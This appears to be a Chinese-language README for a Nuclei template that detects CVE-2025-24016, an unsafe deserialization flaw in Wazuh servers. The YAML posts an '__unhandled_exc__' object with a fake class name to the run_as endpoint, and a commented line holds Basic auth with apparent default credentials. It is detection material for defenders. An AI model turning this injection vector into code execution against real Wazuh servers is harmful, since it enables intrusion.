CVE-2025-24016 Wazuh 不安全反序列化 RCE 检测

本仓库包含一个 Nuclei 模板，用于检测 Wazuh 服务器中标识为 CVE-2025-24016 的不安全反序列化漏洞。

模板详情

id: wazuh-unsafe-deserialization
info:
  name: "Wazuh Unsafe Deserialization RCE Detection"
  author: "Hüseyin TINTAŞ"
  severity: critical
  description: |
    This template detects an unsafe deserialization vulnerability in Wazuh servers.
    The DistributedAPI deserializes JSON data using as_wazuh_object. If an attacker injects
    a malicious object (via __unhandled_exc__), arbitrary Python code execution can be achieved.
    Instead of triggering a shutdown (e.g. via exit), this template uses a non-existent class 
    ("NotARealClass") to generate a NameError. A NameError in the response indicates that the 
    payload reached the vulnerable deserialization function.
  tags: wazuh, deserialization, rce, unsafe, cve, cve-2025-24016
  reference:
    - https://documentation.wazuh.com/
requests:
  - method: POST
    path:
      - "{{BaseURL}}/security/user/authenticate/run_as"
    headers:
      Content-Type: application/json
      # If needed, uncomment the following line for authentication (Base64 encoded "wazuh-wui:MyS3cr37P450r.*-")
      # Authorization: "Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg=="
    body: '{"__unhandled_exc__":{"__class__": "NotARealClass", "__args__": []}}'
    matchers:
      - type: status
        status:
          - 500
      - type: word
        part: body
        words:
          - "NameError"

使用方法

nuclei -t CVE-2025-24016.yaml -u http://example.com

联系方式

如有任何疑问或需要更多信息，您可以通过以下方式联系我：

• LinkedIn
• Twitter